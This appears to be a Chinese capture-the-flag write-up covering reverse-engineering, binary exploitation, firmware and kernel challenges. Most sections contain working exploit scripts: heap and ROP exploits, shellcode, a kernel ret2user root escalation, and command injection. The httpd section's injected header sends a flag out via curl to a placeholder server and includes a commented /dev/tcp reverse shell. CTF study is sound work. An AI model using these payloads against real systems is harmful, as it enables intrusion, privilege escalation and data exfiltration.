RE
obfu
将输入的字符串转化为16进制后存储。
((input[(i+15) % 16] << 5) & 0xE0) | ((input[i % 16] >> 3) & 0x1F) -> input1
input1作为明文,admin_sha256前16字节作为key,rc4加密 -> enc_res
enc_res作为明文,admin_sha256前16字节作为key, AES_decrypt,得到的结果再与admin_sha256后16字节逐字节异或 -> out
out 与 admin_md5 进行 memcmp。
大致的流程就是这样,反过来解密就行。
解密脚本如下:
#coding:utf-8
from Crypto.Cipher import ARC4, AES
from binascii import b2a_hex, a2b_hex
import hashlib
admin_sha256 = '\x8c\x69\x76\xe5\xb5\x41\x04\x15\xbd\xe9\x08\xbd\x4d\xee\x15\xdf\xb1\x67\xa9\xc8\x73\xfc\x4b\xb8\xa8\x1f\x6f\x2a\xb4\x48\xa9\x18'
admin_sha256_or = '\x8C\xE5\x1F\x93\x50\xF4\x45\x11\xA8\x54\xE1\xB5\xF0\xA3\xFB\xCA\x6E\xD6\xCE\x61\xBB\x8F\xB7\xF3\x10\xB7\x70\x45\x9E\xFC\xE1\xB1'
admin_sha256_b16 = admin_sha256_or[0:16]
admin_sha256_h16 = admin_sha256_or[16:]
def RC4_encrypt(key, content):
rc41 = ARC4.new(key)
encrypted = rc41.encrypt(content)
return encrypted
def RC4_decrypt(key, enc):
rc41 = ARC4.new(key)
data = rc41.decrypt(enc)
return data
def Pad(b):
# PKCS5
BLOCK_SIZE = 16
pad = lambda s: (s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE))
raw = pad(str(b))
return raw
def pkcs7padding(text):
"""明文使用PKCS7填充 """
bs = 16
length = len(text)
bytes_length = len(text)
padding_size = length if (bytes_length == length) else bytes_length
padding = bs - padding_size % bs
padding_text = chr(padding) * padding
return text + padding_text
def AES_encrypt(key, content):
aes = AES.new(key)
encrypted = aes.encrypt((content))
return encrypted
def AES_decrypt(key, enc):
aes = AES.new(key)
data = aes.decrypt(enc)
return data
md5_admin = '\x21\x23\x2f\x29\x7a\x57\xa5\xa7\x43\x89\x4a\x0e\x4a\x80\x1f\xc3'
or_md5_admin = ''
for i in range(len(md5_admin)):
or_md5_admin += chr((ord(md5_admin[i]) ^ ord(admin_sha256_h16[i])) & 0xff)
enc_res = AES_encrypt(admin_sha256_b16, or_md5_admin)
input1 = RC4_decrypt(admin_sha256_b16, enc_res)
print(input1.encode('hex'))
input = ''
for i in range(len(input1)):
input += chr(((ord(input1[i % 16]) & 0x1f) << 3) | ((ord(input1[(i+1) % 16]) & 0xe0) >> 5))
print(input.encode('hex'))
decryption
加密逻辑很简单,一看就会。直接爆破就完事了。
#include
#include
char encrypt(char flag_char, char idx)
{
char result;
char v3;
do
{
v3 = 2 * (idx & flag_char);
flag_char ^= idx;
idx = v3;
}
while ( v3 );
result = flag_char ^ 0x23;
return result;
}
int main()
{
char enc[50] = "\x12\x45\x10\x47\x19\x49\x49\x49\x1A\x4F\x1C\x1E\x52\x66\x1D\x52\x66\x67\x68\x67\x65\x6F\x5F\x59\x58\x5E\x6D\x70\xA1\x6E\x70\xA3";
char msg[100] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char flag[50] = "0";
char tmp, idx, out, chr;
char i;
for(idx = 0; idx < 32; idx ++)
{
for(i=0; i
babyre
似乎有个用户态的内核交互函数,不是太看得懂,全程OD动调。
ZwSetInformationThread反调试,od直接过掉不执行
发现程序动态展开了一段空间,解密逻辑在这里面。
用od把这段空间dump下来,OEP懒得找,直接设置成解密函数地址。dump下来用IDA逆向,发现是SM4加密,"Ez_5M4_C1pH@r!!!"为密钥。网上找了个SM4解密程序,解一下就有flag。
https://blog.csdn.net/jiujiederoushan/article/details/100122773
// Ez_5M4_C1pH@r!!! -> 457a5f354d345f433170484072212121
// part1: EA6358B78CE2A1E9C5298F53E8083259 34326230363162346362343163666138
// part2: AF1B67AED9DACFC472FFB1EC7673F306 39636137383034376264653138353665
// flag: 42b061b4cb41cfa89ca78047bde1856e
PWN
ememarm
off by null
可以分配0x20 / 0x30的chunk, 利用off by null来修改tcache链,任意地址分配。
盲猜远程是qemu起的,qemu起的话地址是不变的。但是和我本地的地址不一样,靠修改got表泄露出了libc基地址的低3位。有了这个直接把free@got改成system就完事了。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def start(content):
p.sendafter('~~4268144\n', str(content))
def request(size, cx, cy, flag):
if size == 0x20:
p.sendlineafter('choice', str(1))
else:
p.sendlineafter('choice', str(4))
p.sendafter('cx', str(cx))
p.sendafter('cy', str(cy))
p.sendlineafter('delete?', str(flag))
def edit(index, content):
p.sendlineafter('choice', str(3))
p.sendline(str(index))
p.send(str(content))
def out():
p.sendlineafter('choice', str(5))
debug = 0
# if debug == 0:
# p = process(['qemu-aarch64-static','-L','.','./ememarm'])
# else:
# p = process(['qemu-aarch64-static','-L','.','-g','1234','./ememarm'])
p = remote('183.129.189.60', 10034)
libc_base = 0x400084c000
system = libc_base + 0x3F2C8
free_hook = libc_base + 0x156630
puts_plt = 0x400740
payload = '/bin/sh'.ljust(0x10, '\x00')
start(payload)
request(0x30, 0, 0x41, 1) # 0
request(0x20, 0, 0x31, 1) # 1
request(0x20, 0, 0x31, 1) # 2 -> board
request(0x20, 0, 0x31, 1) # 3
edit(3, '\x00'*0x8+'\x31'.ljust(0x10,'\x00'))
edit(3, p64(0x412030))
request(0x20, 0, 0x31, 0)
request(0x20, '\x40', '\xc8\xf2\x86', 1) # free@got
# edit(3, '\x00') # leak
out()
p.sendline('cat flag')
flag = p.recvuntil('\n', timeout=2)
print(flag)
p.interactive()
emarm
任意地址写,在ememarm中已经知道了libc基地址低3位,直接把system函数地址低3位拿过来把atoi@got改掉就完事了(ememarm第一天放,这题是第二天放的,直接把地址拿过来用了2333)
#coding:utf-8
from pwn import *
context.log_level = 'debug'
debug = 0
# if debug == 0:
# p = process(['qemu-aarch64-static','-L','.','./emarm'])
# else:
# p = process(['qemu-aarch64-static','-L','.','-g','1234','./emarm'])
atoi_got = '4268064'
p = remote('183.129.189.60', 10012)
p.sendlineafter('passwd:\n', '\x001')
p.send(atoi_got)
p.sendafter('success', '\xc8\xf2\x86')
p.sendlineafter(' bye\n', 'sh')
p.interactive()
justcode
四次机会,前两次分别泄露libc,stack,第三次写入地址got,第四次往got表写入csu_gadget来ROP
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def sendCode(code):
for i in code:
p.sendline(str(i))
def edit(id):
p.sendlineafter("id:", str(int(id)))
def add(name):
p.sendafter('name:', str(name))
# sleep(0.1)
csu_gadget1 = 0x400EA0 #0x400E9A
elf = ELF('./justcode')
libc = ELF('./libc-2.23.so')
# p = process('./justcode', env={'LD_PRELOAD':'./libc-2.23.so'})
p = remote('183.129.189.60', 10041)
sendCode([1, 1, 1, 2])
add('a'*8)
p.recvuntil('a'*8)
libc_code = u64(p.recvuntil('\x0a', drop=True)[-6:].ljust(8,'\x00')) - 0x7b60e -0x10
print('-----libc:', hex(libc_code))
pop_rdi_ret = libc_code + 0x21112#0x0000000000021102 # 0x21112
pop_rsi_ret = libc_code + 0x202f8#0x00000000000202e8 # 0x202f8
pop_rdx_ret = libc_code + 0x0000000000001b92
pop_rdx_rsi_ret = libc_code + 0x115189#0x00000000001150c9 # 0x115189
ret = libc_code + 0x0000000000000937
pop_rax_ret = libc_code + 0x000000000003a738#0x0000000000033544 # 0x000000000003a738
pop_rdi_rbp_ret = libc_code + 0x000000000002026b#0x0000000000020256 # 0x000000000002026b
add('a'*0x28)
p.recvuntil('a'*0x28)
ret = u64(p.recvuntil('\x0a', drop=True)[-6:].ljust(8,'\x00')) - 0x40 + 8
print('-----ret:', hex(ret))
# fd = open("flag", O_RDONLY)
# read(fd, store, 0x50)
# write(1, store, 0x50)
flag = ret - 0x18
rop = p64(pop_rdi_ret)+p64(flag) + p64(pop_rsi_ret)+p64(0) + p64(libc_code+libc.sym['open'])
rop += p64(pop_rdi_ret)+p64(3) + p64(pop_rdx_rsi_ret)+p64(0x50)+p64(0x6020e0) + p64(libc_code+libc.sym['read'])
rop += p64(pop_rdi_ret)+p64(1) + p64(libc_code+libc.sym['write'])
rop += 'flag\x00'
print(hex(len(rop)))
add(p64(pop_rax_ret)+p32(elf.got['puts'])*2 + rop)
edit(pop_rdi_ret & 0xffffffff)
p.interactive()
undlcv
令人很想吐槽的一道题
off_by_null
修改prev_size并且利用off_by_null 修改下一个chunk的PREV_INUSE标志位,unlink,将bss段上存储第一个chunk地址改为它本身-0x18.
这时还剩下三次edit的机会。一次修改bss段上的数据并且填充虚假的dl-resolve时用到的信息,第二次修改.dynamic里的DT_STRTAB / DT_SYMTAB里的信息,最后一次修改got表,让程序执行这个函数的时候进入dl-resolve流程,重定位到system函数。
令人吐槽的点来了,pwn进去了以后flag是root才能读的???后来才知道这里要用CVE-2019-14287 SUDO提权。。。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def add(index):
p.send('1'.ljust(0xa, '\x00'))
p.send(str(index).ljust(0xa, '\x00'))
def edit(index, content):
p.send('2'.ljust(0xa, '\x00'))
p.send(str(index).ljust(0xa, '\x00'))
p.send(str(content))
sleep(0.1)
def delete(index):
p.send('3'.ljust(0xa, '\x00'))
p.send(str(index).ljust(0xa, '\x00'))
def magic():
p.send('4'.ljust(0xa, '\x00'))
magic_malloc = 0x4014E1
free = 0x40145C
malloc = 0x04012C9
read = 0x401390
memset = 0x401222
malloc_addr = 0x403480
fake_fd = malloc_addr - 8*3
fake_bk = malloc_addr - 8*2
pop_rdi_ret = 0x0000000000401613
pop_rsi_r15_ret = 0x0000000000401611
ret = 0x000000000040101a
p = 0
def exploit():
global p
elf = ELF('./undlcv')
p = process('./undlcv')
# p = remote('183.129.189.60', 10013)
add(0)
add(1)
edit(0, p64(0)+p64(0xf1)+p64(fake_fd)+p64(fake_bk)+'\x00'*0xd0 + p64(0xf0))
delete(1)
offset = 0
fake_symtab = p32(offset) + p32(0x12) + p32(0)*4 # 0x18 0x403490
fake_strtab = 'system\x00'
edit(0, (p64(0)*3+p64(elf.got['atoi'])+p64(0x04032A0) + fake_symtab + fake_strtab).ljust(0xf8))
p.send('2'.ljust(0xa, '\x00'))
p.send(str(1).ljust(0xa, '\x00'))
p.send(p64(0x5)+p64(0x403490 + len(fake_symtab)) + p64(0x6)+p64(0x403490 - 0x18))
sleep(0.1)
p.send('2'.ljust(0xa, '\x00'))
p.send(str(0).ljust(0xa, '\x00'))
p.send(p64(0x401030))
sleep(0.1)
# gdb.attach(p,'b*{}'.format(0x40124E))
p.send('/bin/sh')
p.interactive()
if __name__ == '__main__':
exploit()
固件
NodeMce
strings 直接出
easymsg
个人感觉槽点超鸡多的一道题
arm架构,没给libc,ok, fine,自己apt装一个问题不大
逆向,逻辑挺清楚,一看就会,为了方便调试patch改了pthread和网卡名字
ifconfig指令获得MAC地址
readFile指令把config.dat弄过来,我感觉出题人应该是想弄个像路由器配置文件泄露一样,但这题没有任何背景,强行弄上去只会让人感到无厘头。
CVE-2019-19822, 找了个网站获得解密程序,https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html,config.dat泄露出账号密码
登陆,命令注入执行即可
本来以为当前目录下就有flag,ls了一下发现flag是 /flagG1zjin
脚本如下
import zlib
from pwn import *
import base64
class Msg():
def __init__(self, choice, content, ip, port):
self.magic = 'HwsDDW'
self.crc = self.cal_crc32(content)
self.msg_len = 0x101
self.choice = choice
self.ip = ip
self.port = port
msg = self.magic
msg += chr((self.msg_len >> 8) & 0xff) + chr(self.msg_len & 0xff)
msg += chr((self.choice >> 8) & 0xff) + chr(self.choice & 0xff)
msg += chr(self.crc >> 24) + chr((self.crc >> 16) & 0xff) + chr((self.crc >> 8) & 0xff) + chr((self.crc) & 0xff)
msg += content
self.msg = msg
def cal_crc32(self, s):
return zlib.crc32(str(s)) & 0xffffffff
def send(self):
p = remote(self.ip, self.port)
context.log_level = 'debug'
p.send(self.msg)
ret = ''
try:
while True:
tmp = p.recv(1024)
if len(tmp) == 0:
break
ret += tmp
except:
pass
p.close()
return ret
# 183.129.189.60 10016
# /home/messageBox/messageBox
remote_ip = '183.129.189.60'
remote_port = 10016
# get mac
info = base64.b64decode(Msg(0x102, 'ifconfig:'.ljust(0x101, '\x00'), remote_ip, remote_port).send())
info = info[info.index('tap'):]
info = info[info.index('ether ')+6:info.index('ether ')+6+17]
print(info)
mac = ''
for i in range(len(info)):
if info[i] != ':':
mac += str(info[i].upper())
print(mac)
# get config.dat
# cmd = 'readFile:./config.dat'
# msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
# data = base64.b64decode(msg.send())
# with open('config.dat', 'wb') as f:
# f.write(data)
# login
msg = Msg(0x102, 'setSystemParam:user:admin\npassword:alexandr1s'.ljust(0x101, '\x00'), remote_ip, remote_port)
msg.send()
# leaveName
cmd = 'leaveName:'+str(mac)+':a";echo `cat /flagG1zjin` > /tmp/out;echo "Fuck'
print(Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port).send())
# read flag
cmd = 'readFile:/tmp/out'
msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
print(base64.b64decode(msg.send()))
STM
stm32单片机的bin文件
https://www.cnblogs.com/panda-w/p/11548121.html
参考这个来反汇编
STM32存储空间布局:https://blog.csdn.net/kevinhg/article/details/45599485
根据存储空间调整下基地址,识别一下代码逆一下就行, 就是一个简单的异或 (如果有板子的话刷上去直接就有flag了)
enc = [0x7D,0x77,0x40,0x7A,0x66,0x30,0x2A,0x2F,0x28,0x40,0x7E,0x30,0x33,0x34,0x2C,0x2E,0x2B,0x28,0x34,0x30,0x30,0x7C,0x41,0x34,0x28,0x33,0x7E,0x30,0x34,0x33,0x33,0x30,0x7E,0x2F,0x31,0x2A,0x41,0x7F,0x2F,0x28,0x2E,0x64]
flag = ''
for i in enc:
flag += chr((i ^ 0x1e)+3)
print(flag)
# flag{1749ac10-5389-11eb-90c1-001c427bd493}
PPPPPPC
PowerPc架构的pwn
栈溢出,写入shellcode,会将写入的内容strcpy到bss段,不熟悉PowerPc汇编,一直卡在怎么让shellcode没有零字节。
后来还是放弃绕过零字节
利用出错会将寄存器打印出来以及qemu栈地址不变,将远程栈地址弄到手,直接ret到栈上的shellcode
#coding:utf-8
from pwn import *
context(log_level = 'debug', arch='PowerPc', os='linux')
elf = ELF('./PPPPPPC')
port = '1234'
local = 0
debug = 1
if local:
if debug:
p = process(argv=['./qemu-ppc-static','-g',port,'./PPPPPPC'])
else:
p = process(argv=['./qemu-ppc-static','./PPPPPPC'])
else:
p = remote('183.129.189.60',10039)
stack = 0x100B3390
# stack = 0xf6ffed70 - 0x138 + 8
stack = 0xf6fffbf0 - 0x138 + 8
shellcode = '7c631a783c60100b386333907c8422787ca52a787c8023787c86237838c6011768c6011c7cc0337844000002'.decode('hex')
'''
xor 3,3,3
lis 3, 0x100B
addi 3, 3, 0x3390
xor 4,4,4
xor 5,5,5
mr 0, 4
mr 6, 4
addi 6, 6, 0x117
xori 6, 6, 0x11c
mr 0, 6
sc
'''
payload = ('/bin/sh\x00'+shellcode).ljust(0x138,'\x01')+p32(0) + p32(stack)
p.sendlineafter('name:', payload)
p.interactive()
httpd
给了个Boa/0.94.14rc21
没给boa.conf,什么都没给,就给了个可执行文件,还得自己去官网下源码从example中复制过来。。。
大致对比下源码,用下功能,发现多加了个登陆功能,通过查找字符串找到验证登陆的地址。
发现当密码为Http-Server时有个命令注入漏洞。
登陆函数主要需要注意*(a1+104), *(a1+108)
查找字符串往上发现,*(a1+104)为REFERER字段,*(a1+108)为Authorization
验证Authorization字段,格式为Basic+空格+base64encode("user:password")
REFERER字段命令注入。
通过curl自己服务器,查看access.log来带出flag
flag不在当前路径,find一下或者ls | awk '{print $1}' | sed -n '2p' 来查找都随意。
最后flag在 /home/httpd/flag.txt
#coding:utf-8
from pwn import *
context.log_level = 'debug'
# qemu elf base -> 0xfffb9000
payload = '''GET / HTTP/1.1\r
Host: 183.129.189.60:10038\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r
Accept-Encoding: gzip, deflate\r
Connection: close\r
Cookie: platform=0\r
Upgrade-Insecure-Requests: 1\r
Authorization: Basic cm9vdDpIdHRwLVNlcnZlcg==\r
REFERER: 'a' > /tmp/out; curl http://xxx.xxx.xxx.xxx/`cat /home/httpd/flag.txt`;echo a\r
\r
'''
# bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/10003 0>&1
# curl http://xxx.xxx.xxx.xxx/`find /hm -name "*fla*"`
# ls | awk '{print $1}' | sed -n '1p'
def recvmsg(p):
msg = ''
try:
while True:
tmp = p.recv(1024)
if len(tmp) == 0:
break
msg += tmp
except Exception as e:
print(e)
finally:
pass
return msg
for i in range(2):
p = remote('183.129.189.60', 10038)
# p = remote('127.0.0.1', 6259)
p.send(payload)
msg = recvmsg(p)
print(msg)
p.close()
blinkblink
给了一个路由器的固件,binwalk直接可解
解出来后,进etc_ro路径看看rcS启动文件,发现自启动了一个goahead的程序,这个路由器使用goahead作为web服务器。
吃亏在没了解过goahead,一般而言路由器漏洞更多出现在二次开发上,因此我直奔cgi-bin去看,结果发现需要身份认证才能访问cgi-bin。
特别感谢lxonz师傅,赛后向师傅询问了下解法,才知道goahead还有goform这个东西,在师傅的帮助下发现在main函数里面还有个formDefineCGIjson()函数,里面定义了开发者自定义的处理函数。
这里面有个set_cmd字段十分引人注意,逆向分析测试一下就能发现这个函数能够任意命令执行。
easyBios
同样是赛后复现的,参考链接:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247493687&idx=1&sn=61dc031b706b9f430fbedb521ec9e485&chksm=e89dc0efdfea49f9e76940b10b9814da995d91ab6f35b2b86c9d2173dcff644e09d4b6cf6fe8&mpshare=1&scene=23&srcid=0204FDbwTy89AJ21x9NDUrWw&sharer_sharetime=1612397911458&sharer_shareid=8629bdafe886ed7f78e7c080c70b849d#rd
这里重点写下如何将需要的PE文件提取出来。
运行,出现getflag
binwalk -Me easybios 看看
发现了很多PE文件
提取这些PE文件可以参考https://www.52pojie.cn/thread-995219-1-1.html,使用uefi-firmware-parser工具来提取,但这个工具提取出来文件太多不好辩认,这里不用这个工具。
binwalk并不会自动将这个多PE文件分开来,而是合在了一起,名字叫840A8,把这个文件拖到winhex,直接搜索Wrong字符串,注意这里要选择Unicode格式(比赛时用grep直接搜"Wrong"就死活没搜到),最终确定在偏移0x37F1B0处。结合binwalk刚刚分析的结果使用dd将PE文件提取出来。dd if=840A8 of=out skip=xxx count=xxx bs=1
提取出来后放入IDA分析即可。
要求输入32个0-f的字符,并将str转化为hex
最后进行加密
加密逻辑很简单,就是16个输入的数字和16个固定的数字进行异或。这16个固定的数字可以用qemu+gdb直接调试出来,也可以自己根据逻辑写个程序算一下。
两种方法都来了一下,下面是解题程序
qemu+gdb直接把数字调试出来:
enc = "\x46\x77\x74\xB0\x27\x8E\x8F\x5B\xE9\xD8\x46\x9C\x72\xE7\x2F\x5E"
a = "\xce\xcd\x98\xbb\x76\xda\x77\x02\x5c\x5d\x56\x0b\xc9\xb1\x50\x02"
flag = ''
for i in range(len(a)):
flag += chr(ord(enc[i]) ^ ord(a[i]))
print(flag.encode('hex'))
# flag: 88baec0b5154f859b5851097bb567f5c
自己写程序算一下:
#include
char ovmf[0x500] = "OVMF_And_Easy_Bios";
char enc[0x500] = "\x46\x77\x74\xB0\x27\x8E\x8F\x5B\xE9\xD8\x46\x9C\x72\xE7\x2F\x5E";
int main()
{
int i, v6, v7, v8, v9;
int v17[0x500];
for ( i = 0; i != 256; ++i )
{
v17[i] = i;
v17[i + 256] = ovmf[(int)i % 18];
}
v6 = 0;
v7 = 0;
do
{
v8 = v17[v6];
v7 = (v17[v6 + 256] + v8 + v7) % 256;
v9 = v17[v7];
v17[v7] = v8;
v17[v6++] = v9;
}
while ( v6 != 256 );
int v10 = 0;
int v11 = 0;
int v12 = 0;
int v13, v14, v15, result;
do
{
v12 = (unsigned char)(v12 + 1);
v13 = v17[v12];
v14 = (v13 + v11) % 256;
v15 = v17[v14];
v17[v14] = v13;
v11 = (v13 + v11) % 256;
v17[v12] = v15;
result = (unsigned int)v17[(v15 + v17[v14]) % 256];
enc[v10++] ^= result;
}
while ( v10 != 16 );
for(int i=0; i<16; i++)
{
printf("%02hhx", enc[i]);
}
}
Kernel
dd_kernel
copy_from_user(void *to, const void __user *from, unsigned long n)
可以看到copy_from_user 中 n的类型为 unsigned long , 但是这个驱动里只对n低8bit数字大小进行了比较。让n == 0x101即可绕过检查。之后就是内核的栈溢出了。SMEP / SMAP啥的保护都没有开,直接ret2user就完事了
//64bits
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
uint64_t (*commit_creds)(uint64_t kernel) = (uint64_t)0xffffffff8105d235;
uint64_t (*prepare_kernel_cred)(uint64_t kernel) = (uint64_t)0xffffffff8105d157;
uint64_t (*dou_stack_base)(uint64_t kernel) = (uint64_t)0xffffffffa0000000;
struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed)); // 保存状态的结构体
struct trap_frame status; // 保存状态
void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"swapgs\n"
"mov $status,%rsp\n"
"iretq"
);
}
void shell()
{
printf("[*] Get Root Shell!\n");
system("/bin/sh");
}
void save() // 将状态保存在status中
{
asm(
"mov %%ss, %0\n"
"mov %%rsp, %1\n"
"pushfq\n"
"pop %2\n"
"mov %%cs, %3\n"
:"=r"(status.ss),"=r"(status.rsp),"=r"(status.rflags),"=r"(status.cs)
:
:"memory"
);
status.rip = shell;
}
// procfile_read -> ffffffffa000006d
// procfile_write -> ffffffffa0000000
int main()
{
uint64_t rop[0x50];
save();
int fd = open("/proc/doudou", O_RDWR);
if(fd <= 0)
{
err(1, "open device");
}
rop[0] = rop[1] = 0;
rop[2] = (uint64_t)templine;
write(fd, rop, 0x100);
}
easy_kernel
windows内核驱动逆向
xp 虚拟机+virtualkd+windbg+ollydbg调试
先是DES加密,密钥为"}aglf_T_",逻辑在驱动程序里
DES加密完毕后,ollydbg调一下发现跳入了0x401080, 进行了错位异或操作
逆一下就行了
#coding:utf-8
# ee7b5d18 7d 61 67 6c 66 5f 54 5f-73 0e dc 19 44 5d 7b ee }aglf_T_s...D]{.
# ee7b5d28 66 e3 89 f7 5c ff 12 00-80 a3 42 00 38 ff 12 00 f...\.....B.8...
# ee7b5c18 2c 2d 3b 2c 24 3b 06 0b-08 07 39 2c 1f 34 16 03 ,-;,$;....9,.4..
# ee7b5c28 07 35 39 19 04 37 34 07-0f 28 15 31 2d 0a 34 2f .59..74..(.1-.4/
# 0012ff38 49 fb 35 4a 31 9e e3 85-49 fb 35 4a 31 9e e3 85 I.5J1...I.5J1...
# 0012ff48 49 fb 35 4a 31 9e e3 85-49 fb 35 4a 31 9e e3 85 I.5J1...I.5J1...
from Crypto.Cipher import DES
import hashlib
def encrypt_des(cipher):
if cipher is None:
return ""
try:
key = '}aglf_T_'
# ECB方式
generator = DES.new(key, DES.MODE_ECB)
# 非8整数倍明文补位
pad = 8 - len(cipher) % 8
pad_str = ""
for i in range(pad):
pad_str = pad_str + chr(pad)
# 加密
encrypted = generator.encrypt(cipher + pad_str)
return encrypted
except Exception, e:
print Exception, ":", e
return ""
def decrypt_des(cipher):
if cipher is None:
return ""
try:
key = '}aglf_T_'
# ECB方式
generator = DES.new(key, DES.MODE_ECB)
decrypted = generator.decrypt(cipher)
return decrypted
except Exception, e:
print Exception, ":", e
return ""
# def xor_encrypt(enc):
# result = ''
# for i in range(31):
# result += chr(ord(enc[i]) ^ ord(enc[i+1]))
# result += enc[31]
# print(result.encode('hex'))
# return result
enc = "\xB2\xC4\x86\xD5\x54\x6C\x38\xAD\xBD\x69\xD4\xE9\x44\x47\x36\x21\x99\x91\xFB\x13\x70\xD8\x6B\xE4\x80\x12\xE2\x43\x2A\x4B\x49\x8E"
rev = ''
rev += '\x8E'
for i in range(-2, -33, -1):
rev += chr((ord(enc[i]) ^ ord(rev[abs(i)-2])) & 0xff)
rev = rev[::-1]
flag = decrypt_des(rev)
print(flag)
print(hashlib.md5('flag{WelcOme_to_kerne1_world!}').hexdigest())